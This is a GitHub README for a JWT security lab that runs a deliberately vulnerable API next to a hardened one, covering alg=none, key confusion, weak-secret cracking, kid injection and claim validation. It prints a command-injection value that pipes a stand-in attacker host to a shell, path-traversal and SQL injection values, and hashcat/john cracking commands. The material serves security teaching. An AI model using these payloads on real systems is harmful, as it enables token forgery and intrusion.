Skip to content

davidldv/jwtsecuritylab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

JWT Security Lab

A hands-on application security project that demonstrates the most common real-world JWT vulnerabilities and how to fix them properly. The lab runs two HTTP APIs side-by-side:

  • vulnerable-api (port 4000) — intentionally broken implementation
  • secure-api (port 4001) — hardened, production-grade implementation

Every attack in attacks/ succeeds against the vulnerable API and fails against the secure API, so the defensive work is demonstrable, not theoretical.

Built as a portfolio project for AppSec / product-security roles. Focus is on showing clear offensive and defensive reasoning in the same codebase.


Table of contents

  1. Architecture
  2. Quick start
  3. Vulnerabilities and fixes
  4. Defensive design of the secure API
  5. Media placement guide
  6. Project layout

Architecture

                       ┌─────────────────────────┐
  curl / attack script │ vulnerable-api  :4000   │  ◀── all attacks succeed
  ────────────────────▶│  (header-driven verify) │
                       └─────────────────────────┘
                       ┌─────────────────────────┐
                       │   secure-api    :4001   │  ◀── every attack fails
                       │  (RS256-only verify)    │
                       └─────────────────────────┘

Both APIs share the same surface: POST /login, GET /me, GET /admin, GET /jwks. They only differ in how tokens are issued and verified.

JWT signing and verification are implemented from scratch (no jsonwebtoken library). This is a deliberate choice: a library would abstract away exactly the decisions the lab is about.

📸 Screenshot slot — docs/img/architecture.png A cleaner architecture diagram (e.g. drawn in Excalidraw). Show the two services, the attacker, and which calls go where. Replace the ASCII block above with the image once created.


Quick start

# Build and start both APIs
docker compose up --build

# Verify they are up
curl -s localhost:4000/health   # {"status":"ok","mode":"vulnerable"}
curl -s localhost:4001/health   # {"status":"ok","mode":"secure"}

# Run every attack against both APIs
./attacks/run-all.sh

Local (non-Docker) dev:

cd vulnerable-api && npm install && npm run dev   # :4000
cd secure-api     && npm install && npm run dev   # :4001

Default accounts (both APIs):

user password role
alice password123 user
admin hunter2 admin

🎬 Video slot — docs/video/quickstart.mp4 30–60 second screencast: docker compose up, hitting /health on both ports, then running ./attacks/run-all.sh and showing the clear "works on 4000, fails on 4001" split. This is the first video a recruiter will watch.


Vulnerabilities and fixes

Each section below follows the same structure:

  • Theory — what the vulnerability is and why it exists in the wild
  • Exploit — the attack script and what it does
  • Root cause — the exact lines of vulnerable code
  • Fix — how the secure API prevents it

1. alg=none bypass

Theory. The JWT spec defines an unsecured token type where the alg header is none and the signature segment is empty. Verifiers that honor the token-supplied algorithm will accept any unsigned token as valid — a class of bug tracked as CVE-2015-9235 and its many descendants.

Exploit. attacks/01-alg-none.sh

./attacks/01-alg-none.sh
# → {"secret":"flag{admin-area-vulnerable}"}

Root cause. vulnerable-api/src/jwt/verify.ts branches on the header's alg field and short-circuits on alg=none when the signature is empty.

Fix. secure-api/src/jwt/verify.ts enforces an allowlist of a single algorithm (RS256) and rejects every other value before any key material is touched. The HMAC code path does not exist at all.

📸 Screenshot slot — docs/img/01-alg-none.png Terminal output of ./attacks/01-alg-none.sh showing the forged token and the flag{…} response. Include the full command so viewers can see the empty third segment (header.payload.).


2. HS256 / RS256 key confusion

Theory. When a verifier accepts both asymmetric (RS256) and symmetric (HS256) tokens, and picks which key to use based on the token header, an attacker who has the RSA public key can craft an HS256 token whose HMAC secret is the public key bytes. The server, thinking it is doing an HMAC check, uses the same bytes and the signature matches. The attacker impersonates anyone.

Exploit. attacks/02-hs-rs-confusion.sh

The script:

  1. Fetches the RSA public key from GET /jwks.pem.
  2. Builds an admin payload with alg=HS256 and kid=rsa-pub.
  3. HMACs header.payload using the PEM bytes of the public key.
  4. Sends the token to /admin and receives the admin flag.

Root cause. The vulnerable verifier resolves the signing key by kid first (even when alg=HS256) and then HMACs with whatever bytes it loaded.

Fix. The secure API has no HMAC code path. alg must be RS256, kid must be a value from a fixed in-memory registry, and signature verification is always asymmetric. Key confusion is impossible by construction, not by validation.

📸 Screenshot slot — docs/img/02-key-confusion.png Two terminals side-by-side (or a single vertical split):

  • Left: attack succeeds on :4000.
  • Right: the same token rejected by :4001 with 401 invalid token.

This is the single most impressive screenshot in the project — it shows an AppSec candidate who understands both the bug class and how to design it out.


3. Weak HMAC secret brute-force

Theory. HS256 security collapses to the entropy of the secret. Any token gives an attacker a hash they can crack offline. Secrets like secret, secret123, changeme, or anything in rockyou.txt will fall in seconds on commodity hardware (hashcat mode 16500 / john HMAC-SHA256).

Exploit. attacks/03-weak-secret-bruteforce.sh

The script logs in as alice, recovers the secret secret123 from a tiny dictionary, and then mints an admin token.

Real engagement one-liners:

# hashcat
echo "<TOKEN>" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# john
echo "<TOKEN>" > jwt.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

Root cause. vulnerable-api/src/keys/index.ts hardcodes HS_SECRET = "secret123".

Fix. The secure API does not use HMAC signing at all. Tokens are signed with a 2048-bit RSA private key that never leaves the server. Even if the public key leaks (it's supposed to), forgery requires breaking RSA.

📸 Screenshot slot — docs/img/03-bruteforce.png Output of the attack script showing the recovered secret and the forged admin token being accepted.

🎬 Optional video — docs/video/03-hashcat.mp4 Optional 20-second clip of real hashcat -m 16500 cracking the token against rockyou.txt. Strong signal that you know the practical tooling, not just the theory.


4. kid header injection

Theory. The kid (key ID) header tells a verifier which key to use. If the verifier treats kid as a filesystem path, database key, or command argument without sanitization, an attacker controls which bytes become the verification key.

Common real-world forms:

  • Path traversal: kid="../../../../dev/null" → empty key
  • SQL injection: kid="' UNION SELECT 'attacker-secret" → chosen key
  • Command injection: kid="key.pem; curl attacker.com/shell | sh"

Exploit. attacks/04-kid-injection.sh

Vulnerable verifier:

const path = join(KEY_STORE_DIR, kid);   // no sanitization
return readFileSync(path);

The attack points kid at /dev/null, which returns 0 bytes. The attacker HMACs with an empty key locally and the server HMACs with the same empty key — signature matches.

Fix. The secure API never uses kid to look up files. It looks up a fixed in-memory registry:

const pub = getVerifyingKey(header.kid);   // returns null for unknown kids
if (!pub) throw new JwtError();

Unknown kid values are rejected outright.

📸 Screenshot slot — docs/img/04-kid-injection.png Show the traversal kid value in the decoded header (via jwt.io or jwt-cli) and the admin response from the vulnerable API.


5. Missing claim validation

Theory. A valid signature only proves the token was issued by someone with the key. It does not prove the token is for this service, for this moment in time, or for a live session. Claim validation closes the gap:

  • exp — token must not be expired
  • nbf — token must be usable by now
  • iat — token must not be from the future
  • iss — token must be from the expected issuer
  • aud — token must be for this service
  • jti — unique identifier, required for revocation / replay protection

Exploit. attacks/05-missing-claim-validation.sh

The script mints a token with:

  • exp in the year 2001
  • iss: "some-other-service"
  • aud: "not-this-api"

The vulnerable API accepts it. A token stolen from any other service sharing the same HMAC secret (or, more realistically, an old DB dump) would work equally well.

Fix. The secure verifier checks every claim with a small clock-skew window, rejects tokens missing required claims, and is implemented as a straight-line sequence of checks for auditability.

📸 Screenshot slot — docs/img/05-claim-validation.png Decode the expired token on jwt.io to show the exp is in the past, then show :4000 accepting it and :4001 returning 401.


Defensive design of the secure API

Rather than patching each vulnerability individually, the secure API is designed so entire bug classes cannot occur. This is the kind of thinking AppSec interviewers look for.

Control Where Eliminates
Single-algorithm allowlist (RS256) secure-api/src/jwt/verify.ts alg=none, HS/RS confusion, downgrade attacks
No HMAC code path at all secure-api/src/jwt/* Weak-secret brute-force by construction
kid resolved against fixed registry secure-api/src/keys/index.ts Path traversal, SQLi, command injection via kid
Full claim validation with skew window secure-api/src/jwt/verify.ts Expired-token replay, cross-service token reuse
Generic error messages verifySecure throws one JwtError Oracle attacks that learn which check failed
Password hashing with scrypt + per-user salt secure-api/src/users.ts Offline password cracking if DB leaks
Key rotation built-in (kid registry) secure-api/src/keys/index.ts Lack of a rollover path when a key is compromised

Design choices I'd expect to defend in an interview:

  1. RS256 over HS256. Removes the "shared secret between every service" anti-pattern and makes a verifying party safe to expose publicly.
  2. Single allowed algorithm over an allowlist of many. Every extra algorithm is a verification code path that can go wrong.
  3. Fail closed on anything unexpected. Unknown kid, missing claim, unparseable header — all produce the same 401 invalid token. No information leakage to a probing client.
  4. Key material never parameterized by user input. kid is a lookup key, not a path component.

Media placement guide

This section is a checklist for what to record or screenshot before publishing the repo to a portfolio site. Put static images under docs/img/ and videos/GIFs under docs/video/. Reference them from the relevant README section using the slot markers above.

Directory layout to create before taking media:

docs/
├── img/
│   ├── architecture.png
│   ├── 01-alg-none.png
│   ├── 02-key-confusion.png
│   ├── 03-bruteforce.png
│   ├── 04-kid-injection.png
│   └── 05-claim-validation.png
└── video/
    ├── quickstart.mp4           # 30–60s: compose up + run-all.sh
    └── 03-hashcat.mp4           # optional: real hashcat crack

Recommended tools:

  • Screenshots: any OS tool; crop tightly, use a readable dark theme.
  • Screencasts: asciinema for terminal recordings (lightweight, embeddable as GIF via agg), or OBS for higher-fidelity captures that include multiple windows.
  • Diagrams: Excalidraw for architecture.

What to show in each capture is noted inline at every 📸 / 🎬 slot in the sections above.


Project layout

jwtsecuritylab/
├── vulnerable-api/     # Intentionally broken implementation
│   └── src/
│       ├── jwt/        # From-scratch sign/verify with deliberate flaws
│       ├── keys/       # Weak HMAC secret + filesystem key store
│       └── routes/     # /login, /me, /admin, /jwks, /jwks.pem
├── secure-api/         # Hardened mirror implementation
│   └── src/
│       ├── jwt/        # RS256-only, strict verify
│       ├── keys/       # Fixed registry, in-memory kid lookup, rotation-ready
│       └── routes/     # Same surface, safe internals
├── attacks/            # One script per vulnerability + run-all.sh
├── docker-compose.yml  # Both services on :4000 and :4001
└── CLAUDE.md           # Project rules / design principles

License

MIT — lab use only. Do not deploy vulnerable-api to a public network.

About

This JWT Security Lab is designed to demonstrate real-world vulnerabilities in JSON Web Token (JWT) implementations and how to properly secure them.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors